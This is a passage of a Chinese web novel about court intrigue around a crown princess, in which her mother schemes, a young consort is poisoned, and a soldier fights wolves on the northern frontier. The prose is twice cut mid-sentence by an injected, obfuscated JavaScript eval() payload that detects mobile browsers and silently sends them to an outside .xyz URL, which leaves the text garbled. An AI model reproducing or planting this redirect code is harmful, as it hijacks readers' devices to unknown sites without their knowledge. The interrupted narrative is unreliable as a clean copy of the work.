祁缙云躬身道:“若是殿下想要展示‘力’,在众多乐器当中,百姓能懂且能先声夺人者,首推‘大鼓’。 草民愿为殿下击鼓。” “鼓?”金簪听过鼓声,还是数年前风子鸾带风瑶骑兵出征那会,从宫外传进来的出征号声,其中就夹杂鼓声。 沈长清和凌飞的眼中立时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15059951|162979||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 发亮,赞道:“妙。” 沈长清激动道:“鼓,乃是将士出征之声,长而响亮、震慑人心。舞,乃为殿下出征之战、得胜之力。以鼓和舞,雷霆润雨,大可先声夺人,起到殿下所要的‘以舞服人’。老师曾说,登令楼约绝非坏事,确实如此。 届时,天下人人都知道殿下的武力,谁还敢妄动殿下?” 凌飞也笑开了,颔首间注目金簪:这就是大周的希望。 金簪散了自轩辕帝回来后的忧虑,笑看祁缙云,温声道:“祁大人,你是否要回太仆寺?” 祁缙云轻出口气,摇头道:“微臣愿为殿下出谋划策。” 凌飞与金簪的目光相触。 他了然地出声道:“如今天机宫一切内务由南叶女官处理,在外上或有所欠妥,正缺了少府少监一职,方便在外行事。” 沈长清点头,应道:“怕就怕……” “不必担心。风子鸾得了九锡大礼,现在应该正是磨刀霍霍、高兴得很。 沈少傅,烦请你带祈正卿……祈少府走一趟六卿寮,直接递官帖给太宰,将鼓舞之说道明,言明孤意。孤只怕他不应。”金簪落落大方道。 【如今,紫琴君上台,偏站皇子轩辕金骧。风子鸾有意同孤联姻,站得必然是孤这边。】 凌飞也道:“如今看来,风太宰还需借助殿下的名头。此事应能办妥。” 【最主要是祈家失势,此一时彼一时啊。】 “好,我这就去办。祈大人,这边请。”沈长清领祁缙云离去。 凌飞欣然地看向金簪,从提篮中取出一物,转给南叶。 他笑道:“殿下,这个是孙儿近来拼雕出的小玩意。” 南叶将东西递给金簪,金簪把玩手里穿甲的木人,朝她道:“你去殿外守着。” 南叶躬身退下。 金簪起身,走近凌飞,在他好奇的目光下,低声道:“母后在为父皇选妃,京中多有画师在为适龄女子作画。这些画会流入金凤宫。 孤以宫廷缺画师为由,想召见画师入宫替孤画像。” 凌飞一愣,脑海里百转千回,读不懂金簪的用意。 “殿下……莫不是还是想见飞扬那少年?然,他不善绘画。” “那就找个会画的人同他一起入宫。” 金簪觉得于凌飞的思路越发相通,将木人放在凌飞的手中,轻巧地笑道,“届时司徒寮那边会发布皇榜。孤希望他能揭榜入宫。” 凌飞拿着木人,百思不得其解。 他总觉得是楚甲子在信里向太女说了什么…… 次日,天机宫里真就多位少府大人——祁缙云。祁缙云处理天机宫外事(采买、拜帖、祝礼等等一应事务)。 而且,不同于南叶和杜鹃掌宫中事,祁缙云可以替金簪出宫办事。 金簪自此就有与外界联系的桥梁,极大的方便行事。 比起沈长清和凌飞两人,金簪对于用他们多少有些顾虑师长之情。 对于祁缙云,她交付了更多的事务和信任。 除此外,祁缙云还抽空同金簪一起将登楼鼓舞编纂出来,又教她一种不用乐器就能奏乐的手法:掌哨。 他这样道:“生逢乱世,以殿下的身份,来日或上战场。掌哨乃是将士、斥候、护卫间传递消息的一种暗号。”他将双手交叉,两手拇指合出空隙,吹出一声谷鸟的叫声。 他朝金簪道:“掌哨比口哨声音沉而远,学起来也容易。” 金簪颔首,学着他的样子“噗嗤噗嗤”地吹了几下。 她没有不好意思,祁缙云也没有取笑,还手把手教她掌间缝隙的大小,口型该如何。 莺歌来舞凰殿见着两人的亲昵样儿,不知道是吃谁的醋,哼了声道:“殿下,自从祁先生来了后,你就不理我了。” “你那还有孤没学到的本事?”金簪头也不抬道,“祈少府,孤这舞艺司侍极为仰慕你,得空时给她吹一曲箫乐,她定能将从不外掏的心都交给你。” “殿下……”莺歌烧红了脸,像是云霞般美艳。 然而,祁缙云躬身垂礼,镇定道:“请殿下勿开此玩笑。微臣对爱妻允诺,一生一世一双人。待此生寿尽时,一身清白,再与她,地府相会。” 金簪愣怔了下,而莺歌垂落双目,朝两人行礼后转身而去。 金簪眨眼道:“听闻祈卿爱妻,今日孤算是见识了。这一生一世,一双人?世间真有如此……呃……”她望入祁缙云湛湛的眸光,颔首道,“孤拭目以待。” 祁缙云反而蹙了眉头,暗道:【殿下与这西教坊的舞艺司侍亲近,连人间有情都忘了么?】 为此,他发现凌飞是最关心金簪内心的人,同他通了下气。 次日,金簪的桌上多了一只未曾拆开的多宝盒。她把玩着道:“南叶,这是你拿出来的旧物?” “殿下冤枉奴婢了。少府大人问奴婢,殿下都喜欢什么玩意。奴婢想起这只匣子就告知少府大人。少府大人亲自上库房多宝架上取来的。”南叶解释道。 金簪颔首,仍没有拆这只多宝盒,将它放在案几上后动身前往金凤宫。 【算算时间,那些美人画册差不多收齐了吧,母后那边应该也挑得差不多,该实施计划了。】 25. 怨憎 “皇榜?你拿这种东西回来干什么?”季闲夺过季飞扬手里的皇榜,观过后,与季飞扬比较下了,觉得没用就揉成一团,扔在地上。 季飞扬瞧他那粗鲁的动作,显见是近来没将事情办好,生了闷气就拿纸做筏子。 他摸了把鼻尖,讨笑道:“我本来呢,打算通过风瑶步兵营的文武考,进去混个校尉做,才好刺探朝廷的动静。 可是,这武考的成绩好,反倒成了别人的眼中钉;文考时,考官连门都不让我进。我还被人讥讽数落冤枉……若不是小爷性子耐得住……” 在季闲洞悉的眼神下,季飞扬不遮掩了,直接道:“那个渣滓风子棋,我在武考中将他打落在地,这不捅娄子么,直接判我不遵武试规则。 文考时,考官睁眼说瞎话,说我夹带小抄……” 季闲也是不客气道:“你没带?” 季飞扬甩了下手,抱胸道:“反正风瑶步兵营是进不去了。我就趁机蹲那渣滓,将他揍了一顿。在回来的路上,司徒衙门的人贴皇榜。我瞅着这不是现成的机会,光明正大的入宫机会啊。” “你没读这皇榜啊?这是招画师……为太女作画。你会画吗?”季闲瞧着这儿子,只觉得他没个正经,又道,“何况,入宫……风险太大。你是季家唯一的后人,决不能出事。” 季闲就这样认真地瞧着季飞扬,要他给个保证。 季飞扬直接扭开头,看天看地不看义父。 季闲叹了声道:“天师道教众已经陆续入都,安插在各行各业。你此前打探的消息和运筹的人脉,给他们隐藏身份极大的便利。 至于朝堂的浑水,进不去就不去吧,你的命更重要。 另外,我听说来年有登令楼约,定是京中大事,正是我们行事的机会。” “你想等那时候再刺杀风子鸾?”季飞扬对此感兴趣,摸着下巴赞同道,“倒也是好时机。等这么久,若一朝功成,也值当。 登令楼之约,到时京中人头颤动,宫里宫外一片混乱,又有那么个女子在楼上跳舞。若是轩辕帝也在楼台露面,以弓箭……啧啧啧……妙……” “啪”得一声,季闲的手从季飞扬的后脑勺上收回,嫌弃道:“你当皇帝站那给你当靶子?想什么呢。 现在距离传闻中的登令楼约还有段时间,趁机在登令楼附近踩点,熟悉周边的情况以及禁军外巡的时间,以便来日行事。 另外,你收敛些。瞧你这吊儿郎当的性子。 若季夫人还在世,她能用摘花手将你钉在树上当腊肉风干。 有时候,我真觉得愧对季将军的在天之灵。” 季飞扬呃呵了声,笑着捡起皇榜,随后溜之大吉。 【如此提及,我更要入宫。杀母灭族之仇,不共戴天。】 他离开季闲的院落,摸到凌云处,正要入槛,迎头躲开一滴墨汁暗器。 “好小子,摘花飞叶皆是器,这墨汁都成你武器了?” “你来,必不是好事。”凌云收起手稿,取一本《史战攻略》来读。 季飞扬看下天色,点头道:“这就到宫里下钥的时间,凌祖父该回来了。我说你不爱看就别看这些烦书。” “祖父同楚老二(楚甲子)一样,都希望夺回西六府三城。不看这些,他长吁短叹,惹我耳疼。”凌云的眼儿盯在书上,边回道。 “耳朵疼?你直说舍不得凌祖父难过。”季飞扬将皇榜取来,铺在凌云的面前,“你的坚空竹、风华镇还没着落吧。如何?一起去,当面问她。” 凌云读了遍皇榜上的内容,平静地神色浮动挣扎的情态。 最终,他摇头道:“我不会画人。”他仰看季飞扬,断定道:“你更不会画,以此混进去,不怕被打出来?” “嘿,怕什么。这不是有祖父还有沈大人在后面兜着嘛。”季飞扬嘿嘿笑道,“咱们就进去一下,长长见识。你么去问个答案。” “惹麻烦,祖父烦。不去。”凌云死活不同意,怕给日渐衰老的祖父惹事。 【祖父在朝中行事不易,又替那个志高气短的太女做事,当真累了他。】 “去呀。”季飞扬开启软磨硬泡的功夫。 晚间,凌飞回来后得知此事,拉凌云到书房。他准备丹青三色,朝凌云道:“祖父教你。” “为何?祖父不是要教云儿国论战策吗?莫不是对那个笨蛋太女彻底失望?”凌云诧异地道完,立马捂住嘴巴,将归来后不喜太女的心思彻底暴露。 “……”凌飞默了下,“云儿岂能如此说殿下?” “她不笨吗?竟将国玺制法交给外人。依我看,大周迟早败在她的手上。对了,夏夔之后,犹有二帝。她怕是做不了亡国之君。”凌云含了怨气道。 “住口,跪下。”凌飞动怒。 他一把捏在凌云的肩头,不自觉地用力道:“这都是谁同你说的闲话?你忘记祖父对你的教导?何为国,何为家?大周是我们的国,东都是我们的家。守护这片土地……” “不是。这里不是我的家。我出生在南旋,我家该在南旋。”凌云憋了眼泪喊道,“祖父这么辛苦,早出晚归,可是这地方,像是……像是一块泡烂了的木头,怎么雕都雕不出花儿。为何祖父还要在这里挣扎? 我们回南旋不好吗?” 凌飞的脸上露出落寞的神色,蹲下身去抱住凌云。他轻声道:“云儿长大了。祖父的孙儿知道疼人。 云儿是……想你父母亲了?” 凌云撇开脸,才不会承认这事。 日间,他听殷罗和掬梅聊天时谈起南旋现在的时节,说到她们家小姐现在会做什么…… “我不想,云儿只有祖父。云儿要祖父好好的轻松地活着。” “好孩子。这世间就像是一个泥沼。国,就像是泡在泥沼里的木头。 泡得好了,是千年沉香木;泡坏了……像你说得……烂了的木头,腐可见筋骨。但是,太女、沈大人、祖父我以及许多许多的人,都想将这块木头削去腐残,重新让它成为一块好料。” 凌飞拉起几近胸膛高度的凌云,轻声道,“太女不傻。她已经能运筹诸事。至于你脑子里那点关于制玺手法,将它忘了吧。” 凌云想说:这块木头明明已经烂到骨头里去,烂到根子上了。但是他不敢。祖父是他唯一的亲人,他不想祖父伤心。 “花纹很好看。”凌云固执地低声道。 以此理由讨厌那个太女,讨厌她将祖父支使的头发都白了。 “祖父知道,花纹复杂,云纹、笔韵深浅皆有刻数。你刻它时记忆太深,一时忘不了也正常。 但是,切不可再提起此事。太女敢将凤凰连弩等手稿交给你,又将制玺之法交给楚家……这是……制衡之术。” 凌飞长出口气,在凌云抬目望来时,拍在他的脑袋,心慈道:“殿下,如今会吹掌哨,一种行军时斥候的传信手法。你也要多学点本事,以后……” “我学。”凌云不喜打战,遂不想谈后面有关于将来职业的事。 他直接坐到凌飞的椅子上,听凌飞讲解作画的要略。 ** 数日后,天机宫里来了数位画师,却都不是金簪等的人。 她见凌飞时也不做声,只当是磨性子,就这样等着。 与此同时,金簪与祁缙云的关系反倒越来越亲近,从掌哨学到了玉箫。 这日,轩辕皇后已经选出三十位妙龄女子入宫,请示轩辕帝给这些女子封号,最高的封位是寿妃。 有了寿妃和这些才人、美人、嫔、夫人在后宫闹腾,她得闲来天机宫看望金簪。 彼时,祁缙云正手把手教导金簪吹箫。 轩辕皇后阻止旁人通报,立在院内看了两人一会。 金簪发现轩辕皇后到来,同祁缙云向她行礼。 轩辕皇后近前瞧着两人,一男一女、一高一矮,竟觉得十分有味儿。 她屏退祁缙云,朝金簪道:“簪儿,觉得祁缙云如何?” “少府?”金簪颔首道,“极好。” 【趁手,好用,能教孤不少东西,也能替孤办不少事情。】 轩辕皇后近前一步,倾身在她耳边道:“簪儿,你是未来的帝君。” 金簪没理解母后话里的意思,一脸懵懂地看着她。 轩辕皇后笑了下,抬手伸向金簪。 金簪条件反射地躲了下,彼此间的气氛一下子冷凝。这是金簪手背上的小伤口沾了脏水,费了几天才好,留下的后遗症。 “母后,可还有事?”金簪垂目问道,以此缓解尴尬。 “无事,你且好生学着吧。”轩辕皇后的目色深深,唇角带笑,抚摸在凹凸不平的甲套,而后转身离开。 到天机宫的门口,她遣人招来玉燕,问过几句后又吩咐一声,才令凤鸾离去。 玉燕是三品女内官,在天机宫里居于南叶和杜鹃之下,属于被敬而不用的存在。她得了皇后的吩咐,选个时机拦住祁缙云的道,随后将皇后的命令通知他。 祁缙云的面色微白,言辞拒绝:“微臣绝不敢行此苟且之事。君子循礼,岂能如此……如此轻贱殿下,岂有此理。” 玉燕近前一步,瞧着容貌、身量尚可的祁缙云,不解道:“殿下如今是处子,祁大人得了便宜还卖乖不成?” “一派胡言。我绝不会这么做,如此无礼荒唐的行事,与犬豕何异?”祁缙云拂袖就走,再次被玉燕拦道。若非君子,他就上手推了,肃容低呵,“让开。” 玉燕惊了下,依然固执道:“祁少府,这是娘娘的命令,不是在请你同意。再者,殿下是君,你可是臣。” “呵……荒谬。”祁缙云再也忍不住这宫女的无理取闹,直接甩袖,背对她而走。 他绕一圈到主殿,途中觉得少府一职已到头,下了决心后步入天机宫的书阁。 面对研读的金簪,他一时都不知道怎么开口。 金簪了然地看向他,低首翻页道:“母后给你派了差事?” 祁缙云一呆,恍然道:“殿下知道?殿下也同意……这……这等荒谬之事?无论男女,合该自尊自爱、互敬互重才是良配。” 金簪观他语急,愣了下后将书本一合,起身道:“孤现在知道是什么事了。此前,母后提过……嗯……按她的意思:孤是未来女帝,后宫当如父皇的,多多益善。她又怕孤沉迷男色,想找个合适的男子教孤识情破身。” 【若非她今时今日是皇后之尊,孤差点以为她和莺歌是一路人。】 金簪想到这,脑海里回忆起幼时在龙腾殿里见过的画面:女子夭夭、男子桀桀……将幼小的她抱在怀里的女神阿乐低首说:“这就是凡人,脱不得五色。如今你大了,有了护身符,而你母亲也成了皇后,我要离开了。在离开前,我会再助你一臂之力,保你活于世间。” 彼时,金簪根本听不懂神女阿乐的话意,只知道夭夭之女使劲手段缠着父皇。此后,金簪心中的女子形象有三类:神女阿乐般得拿得起、放得下的洒脱人,母后、宫女这样被禁锢在身份中沉浮世海的人,以及莺歌、求宠宫妃之流,尽情声色以求活之人。 金簪垂敛幽眸,将手背在身后,侧身道:“呵,祁少府,孤真没想到你上天机宫来有这层含义……孤现在明白了。她可真是孤的好母亲。话说回来,孤的少府大人确实是一个温柔干净的男子。” 祁缙云的脸上覆层羞恼,赶紧跪首在地。 “微臣不敢。微臣来此绝无此意。” 当南叶来说“玉燕拦了少府大人”,金簪就猜到有事情发生。但她万万想不到皇后是这个意思,不过,这也像是她的作法。 金簪上前去请祁缙云起身。 祁缙云跪着后退两步,避开金簪的手,直接重重地磕首在地。 金簪的脸色一下子就很难看,属于太女的尊贵以及女子的骄傲令她俯视祁缙云。 她幽幽道:“祁少府,抬起头来看孤。” 祁缙云闭下眼,视死如归般昂起头。 面对威严深重的金簪,他只瞧一眼就将额头再次磕上砖面。 金簪见他如此一根筋,叹了声道:“莺歌说孤有令天下男子趋之若鹜的本钱,看来她是错的。” 祁缙云就觉得莺歌这等女子过于世俗,反而带偏金簪。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15059952|162979||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 此等尴尬的处境,他也不便多言,直接道:“臣即刻辞去少府监一职,返回家中。” 他说完三磕首,起身离去。 正逢凌飞入殿,耳闻了这句。 他与金簪的目光对上,在金簪的示意下,颔首后追着祁缙云离去。 金簪看着先后而去的两人,揉捏在太阳穴,喊道:“南叶。” 待南叶进来,她吩咐道,“玉燕身份特殊,你告诉梵阳,带着她在外行走。” “是。”南叶不多问,应下后去传话。 她知道梵阳得了韩丹的喜爱,混进乾明宫,又谋了份小差。 【殿下让玉燕跟着梵阳,这是要她离开天机宫的意思。】 这边金簪是真正地发怒了,一下子掀翻了书案。 【天下,怎么会有这样的母亲?不,她不是。】 杜鹃听到动静,见着殿内的狼藉模样,吓了一跳。 她想着招儿,呐呐道:“殿下,现在宫里很缺这些东西,宫里进得人多,如今去库房都领不到好……” 金簪射来利眸,杜鹃再不敢讨巧,伏跪在地上:“殿下恕罪。” “你何罪之有?”金簪压制内心的暴怒,撇开脸,亲手扶起桌案。 杜鹃不敢劳她动手,上前帮忙,利索地收拾妥当。 至于沾上墨汁的地毯,怕是不能用了。 金簪瞧见她的眼神,叹道:“留着继续用吧。看到它,孤就记得不能变成某些人。孤出去走走。” 杜鹃目送金簪离开,委屈地瘪嘴,擦掉滚落的眼泪。 她也不知道哭什么,就是想要哭。 金簪屏退小宫女和宫侍,独自步入御花园。 远处一群新入宫的妃子带着宫女们在游玩。 她们中最大应该十八,最小可能在十五,看起来天真烂漫。 金簪有一种格格不入的感觉,转身要走,被一女子拦了道。 “咿,我没见过你啊。你是哪宫的妹妹?一起来玩扑蝶吧。”冼菲拦了金簪的道,伸手就去拉她,“妹妹脸嫩,可是长得好高,多大了?” 金簪看着被她握住的手,反问道:“你多大?” “我今年十六,嗯……她们叫我冼才人,夏日时光正好,咱们去扑蝶吧。”冼菲边说边拉着金簪步入花丛。她接过宫女递来的纱布网兜,向夏花里飞去。 金簪被新入宫的小宫女塞了网兜,再观自身一袭白裙,除头簪,与她们也没什么分别。 她刚提起网兜,就听到冼才人银铃般的笑声。 那宫妃已经追着只黑色蝴蝶往花圃中央去了。 金簪微动眉梢,张口喊道:“别过去。” 冼菲吓了一跳,转身太急,人往后倒去。 她一下子砸进螺黛花丛。 金簪疾步近前,将她拉起来,边问道:“你没事吧?” 冼菲说没事,边拍身后的尘土。 她看着金簪面对压坏的花丛,歉意道:“不好意思,我不是故意的。这花……” 有宫女听到这边的动静走来,惊呼道:“这……这是皇后娘娘最爱的胜争螺黛。你你你……” 冼菲慌了,摆手道:“我……我不是故意的。” 她将手中的网兜递给小宫女,但是,谁都不敢来接这网兜。 金簪将网兜拿了过来,回身要说什么,就见月女带轩辕金香站在不远处。 而这惊呼“胜争螺黛”的宫女不是别人,正是月女的人。 月女走上前,在众多年轻妃子的行礼中向金簪盈盈一拜,含笑道:“殿下好雅兴,陪新来的妹妹们赏花扑蝶呢。幸好殿下是女子,若是皇子,恐怕要闹出闲话。 金香,过来,快见过你大皇姐。你自出生到现在还没见过她呢。” 轩辕金香一点不怕生地近前,朝一脸沉色的金簪行一礼,大声道:“你就是我的皇长姐,也是我们大周的太女,日后的女帝啊。” 新来的妃子们被吓傻了,各自觑眼嘀咕。 “这就是传闻中的太女?怎么好似同大家没差别啊!” “哪里没差别,你看她的头冠,那是真正的大明孔雀王金翅簪。” 众妃子互相推搡,齐齐拜道:“太女殿下。” 金簪的目光从天真烂漫的金香身上收回,摆手道:“免礼,都散了吧。” 众年轻妃子三三两两地结伴而去。 金簪将手里的网兜还给怯怯的冼菲,言道:“以后不要靠近螺黛花圃。” “是,殿下。谢殿下。”冼菲赶紧带小宫人离开。 金簪正要离去,被轩辕金香挡住路。 金香仰面看她,似在欣赏什么一样,高声道:“我能去天机宫找姐姐玩吗?” 金簪拉扯唇角,想起两百年来周史中记载的轩辕子弟去向,垂目道:“你来找孤,孤也是要将你远远地嫁出去。” 随后,她就这样大摇大摆地走了。 金香被母亲月女拉住的手腕露出深红的印记,瘪着的嘴终是忍耐不住地大哭起来。 金簪并未回头,心道:【若是这样就哭,在这宫里可活不长。】 御花园里发生得本是一件小事。 次日,梵阳给金簪见礼时带来消息:“朝露殿的冼菲才人平旦时去了。” “去?死了。”金簪想到母后锱铢必较的性子,将手中的笔捏得死紧。 “昨日人定后,皇后娘娘遣人将烂掉的螺黛送进朝露殿。今晨,宫女发现冼菲才人口含螺黛而死,说是……畏罪自尽。” 梵阳细声道。 金簪揉捏着作痛的额头,挥了下手。 梵阳小心地瞧她两眼,随后躬身退去。 日渐懂得医草的梵阳查到螺黛花是一种胜争道府出产的有毒植物。 它的毒性非常特别,只在人定后、平旦前的四个时辰因周遭水雾致雌雄花蕊交互,从而积聚毒素。天亮后,阳光初绽,这些沉淀在花房里的毒素会在日光的照耀下渐趋挥散。 螺黛的毒只在一定的时间段内产生,而后消失,难以查找。后宫那些不明不白死去的宫妃,不少是被这中无声无息的毒害死。 26. 画师 数日后,大朝会上轩辕帝因病没有上朝。 风子鸾迎金簪上座,陪立于高台,俯视紫琴君等一干人,眸中含笑、唇角下扯,声威并重道:“奏报说:李云起死灰复燃,携三十五万人往海宁道府而来。诸位如何看?” “民间有传言,这是一个名为天师道的教派,男女老幼皆可入教。他们颂扬得是‘世人承天道,授师于世,教化百姓,人人平等’之说。”李源出列道。 “荒谬,若是三公九卿、士林农工商皆平等,那犯事杀人者又如何? 我朝轩辕氏立足千年基业,律法森严,人人心服。 这分明是学海儒门那群闲得无聊的书生搞出来的玩意。”中官司士风满城嘲讽道,“依下官之见,理应将这些聚众之人定为逆党,派兵清剿他们。” 沈长清的学生是士一大夫,莫云长出列道:“儒门起源于学海,师承学海无涯阁。至轩辕姬在世时分派,为士林派、闲云派。本是同源而生,何以相煎?依下官之见,百姓聚众必有所求,应遣人前去了解民需,方可解民之急,获天下民心。” “你的意思是……招安?呵……你没听风太宰说么,李云起也在这帮人里。你觉得他会被招安吗?”风满城刺道。 金簪在上首冷眼看下面为天师道争成一锅粥,谁都没有提被霍霍过的寒雪关三道府。她看向老神在在的风子鸾,以及笑而不语的紫琴君。 如今这朝堂已是争权之所,何管天下民生。 【若是孤能劝动紫琴君共抗风子鸾,夺回风瑶兵权,大可将风氏权党尽灭。而这个接触紫琴君的最佳人选……祁缙云。】 朝上的争论在风子鸾的一言堂下结束。 他令金簪发诏,遣凌飞前往海宁道府,接触天师道,了解他们的情况。与此同时,风瑶骑兵也会派出一支一万人的队伍囤兵东都和海辰道府交界处,以防天师道教众攻入东都。 金簪在风子鸾的眼神逼迫下发出这道令凌飞出使的命令,又在风子鸾的摆手下,试着微微一笑,道:“散朝。” ** 天机宫内一片愁云惨淡,如同今日的天色,阴云密布,似在等一场大雨。 金簪瞧着两位沉默不言的老师,先将祁缙云的事解决。 她诚恳道:“烦请少傅大人去一趟祈府,告诉祁少府:这世上不是他也有可能是旁人。而旁人未必肯替孤遮掩。虽与他名声有损,但孤又岂能独身?” 沈长清还真不了解这里头发生的曲折,但懂了点表面的意思,颔首道:“是。微臣定如实转达。” “另外,孤想知道轩辕紫琴对天师道聚众的看法,以此判断他是否肯站在孤这方。”金簪敲了下桌面,看向凌飞道,“凌大人,觉得如何?” “大宗伯紫琴君向来不理朝政,民间风言说他流连花丛,专情舞姬梵阆。如今看来也是障眼法。他是否与丽妃达成约定,尚不可知。” 凌飞说完,又道,“不如请祁少府拜访一下紫琴君,试探一二虚实。” “好。孤也是此意。”金簪转眸看向沈长清,笑道,“那就看少傅大人了。” 沈长清笑笑,点头应下。 凌飞又道:“后日,微臣出发前往海宁道府。京中风云复杂,一切还劳沈大人留意。” “我定会护住殿下。除此外,风子鸾派凌大人您出京,用得是卧秋、南旋两府沆瀣一气的理由,恐怕您此行凶险,得要人护着才行。”沈长清担忧道。 “我府上有一名武师,由他护我出京,应能保平安。”凌飞朝沈长清道,又对金簪言,“殿下不必担忧。” 金簪思虑一下,吩咐南叶,将一盒金叶取来递给凌飞:“这些金箔在宫内于孤无用。请凌大人将他们带在路上用,若能请些功夫上好的武师,孤也能更安心。” “殿下……”凌飞要言,被金簪摆手制止。 待两人将事情都商议完离开,杜鹃眼巴巴道:“好不容易请少府大人将宝贝换成金箔,这就散出去了。如今,少府大人也不来了,都吃不到宫外的点心。” 金簪翻着书页,闲来无事道:“凌飞会将它们好生利用,不会浪费。何况,这些东西留在宫中本也换不了什么。你这嘴馋得……想祁少府了吧。放心吧,以祈家如今的情况,他会来。” 金簪抬脸望向窗外的阴云,往年的宫里不闻蝉鸣,如今这蝉声在阵雨前更是连绵不绝,耳根子是一点都清净不了。 【何说朝堂,就是这金宫也将不在轩辕家的掌控里了。】 她将书搁置一旁,出神道:“如今,北方应该也这般闷热吧?” 【楚甲子……又如何呢?】 ** 燕地……北延道府,北延城,慕容涛麾下的校场。 “好……干他……快快快闪……” “躲开……” “哈,好,打中了。” …… 一群赤膊大汉在白灰围成圈的沙地上互相搏斗摔跤。 其中,有一名麦色肌肤的小将极为年轻,露出油光发亮的上身,双脚开立下蹲,下盘极其稳当。 待他的对手扑来,此人双眸如电,迅速出脚,勾撞在对手的膝盖,将诧异的对手撞翻出线外。 众多军士哈哈大笑,纷纷吆喝:“楚不白,好样的,”“不白,厉害啊……” 楚不白是楚甲子的化名。 他满面笑容得朝围观同袍挥了挥手,再朝新上场的对手勾了下手指。挑衅不羁的味道像极了季飞扬的作风。 这新上场的士兵瞧着可能打不过这姓楚的,就朝周围互相搏斗的同袍使眼色。 一时间,场上五个赤膊士兵全来围攻楚甲子。 楚甲子也不慌,哈哈一笑道:“怎么,一个人干不过我,打算群上?来啊。谁怂谁是软蛋。” “哈哈哈……”围观将士都笑了起来。 慕容涛来巡营,见着一人战五人的场面,驻足观望一会,朝旁边的副将问道:“这小子是谁?” “拿了石鸣春的荐信来的,说是姓楚。我瞧着他身手不错,就让入了敢死营,当了个伍长。”副将笑道。 慕容涛又问了句:“姓楚?” 副将拍胸脯道:“没错。将军放心,绝对不是京都那个楚家。” “知道京都楚家,就调查清楚来人。石鸣春去了寒雪关就不回来了,幸好当初本将军拨给他的人不多。你多注意些这小子。夏盛时,秦连长墙北面的摩尔人会举办狼猎,你将他派出去,能杀多少条狼,就有多大本事留在我军营。”慕容涛说完还哼笑了声,似已看见夏日草场上的狼人互杀的血腥场面。 随后,他带着人走了。 楚甲子瞟见那一闪而过的高壮身影,举拳若锤,直将对手捶了出去。 “啊……楚老大,你这手劲真大。” “厉害……我的午饭都吐出来了。” …… 楚甲子朝这一群人笑笑。 祖父说过:在军中,想要服人,最好的办法是揍人,比起参将动脑子还好用,更直接奏效。 “我既是你们的伍长,自是要比你们厉害。如何,可还有人不服?” “服服服服……” “大写的服字……” “你会写服吗?” “瞧不起谁呢?” …… 夏末时,楚甲子带敢死营的五人潜伏在草丛坡地,待摩尔人牧养的黑色大狼循着人味过来。 他带着小队,和其他敢死营的同袍一起手持矛刀杀了上去。 “杀啊……” “杀……” “嗷呜……” 狼群凶狠,猎人裹腹。它们对着这些人型大肉亮出利爪和尖牙,冲刺进敢死营的军士中。 这是北戎狼群的盛宴,也是燕地军人的复仇时刻,还是北戎摩尔狼王和慕容涛的约定俗成。两方阵营从偶然一两次的夏日交锋抢夺到如今每年都要来一场人狼互杀战,以此决定秋日谷收时,彼此能深入对方领地多少。 此刻,人狼已经杀红了眼,不死不休。 直到牧狼的摩尔王庭的狼王之子吹响一声狼嚎,这些食人狼才返回草原深处。 一身血淋、不断呼哧哈气的楚甲子看着远方骑在白狼背上的少年,一时沉默了。 旁边,他的士兵喘息道:“那是北戎狼王之子。摩尔人占据西六府三城,分出西戎、北戎两支。 若是这两支合为一处,恐怕咱们大周这破墙再也挡不住他们。嗬……伍长,咱们活下来了。” 慕容涛瞧着猎狼归来的英雄们,大大地赞许他们。 然而,这些是回来的士兵,还有很多回不来的士兵被留在草场。 慕容涛站在一身爪痕的楚甲子面前,赞道:“好小子,这爪痕可见骨了。摩尔人的狼凶吗?” “凶,但是我没死,我比它们更凶。”楚甲子猩红了眼道。 “好样的。你姓楚?”慕容涛再次道。 “是。楚不白。”楚甲子报了入营时的名字。 “哈哈哈……不白,你确实白不了。咱们燕地的太阳烈得很,不比寒雪关的养人。”慕容涛一掌拍在楚甲子肩上的伤口,瞧他连眉头都没皱一下,朝副将道,“升他做步兵营的百夫长。下一回,秋收猎谷时,本将亲自带你们入西六府深处。待这次功成,咱们就能南下了。哈哈哈哈……” 楚甲子拱手谢将军,垂落的目光望在血淋淋的狼口尖牙,也拉起了唇角。 *大金宫* “两位请走这边。”杜鹃领一高一矮的两位青少年步入天机宫。 季飞扬瞧着一本正经的凌云,低声道:“你这么紧张做什么?凌祖父和我爹都出了门,管不着我们。不然,你还得被拘在书房画画呢。” 【两人连半瓶水都没有的画技哎。】 凌云斜睨这不着调的人,深深地叹了口气,惹得前面的杜鹃回过头。 季飞扬朝杜鹃笑道:“美人姑娘,小孩子装少年老成呢。” 杜鹃莞尔道:“凌小公子很聪慧,做的木偶鸟让殿下开心了好一阵呢。” 季飞扬拍在凌云的肩头,以眼神示意他:“有人夸你呢。” 宫廊下,一身云锦绣裙的金簪远远地忘了两人一眼,吩咐南叶道:“你将那小凌云领去偏殿用些果脯,再将他做的木制玩具取来供他玩耍。” “是。”南叶领命而去,截了杜鹃的道,要领凌云去往偏殿。 季飞扬拍了下凌云,笑道:“分开画啊。难道太女也能一试两人?” “大胆。你怎么能对殿下不敬?”杜鹃气道。 【若不是殿下想要见你,真想将你这油滑嘴贱的人打出去。】 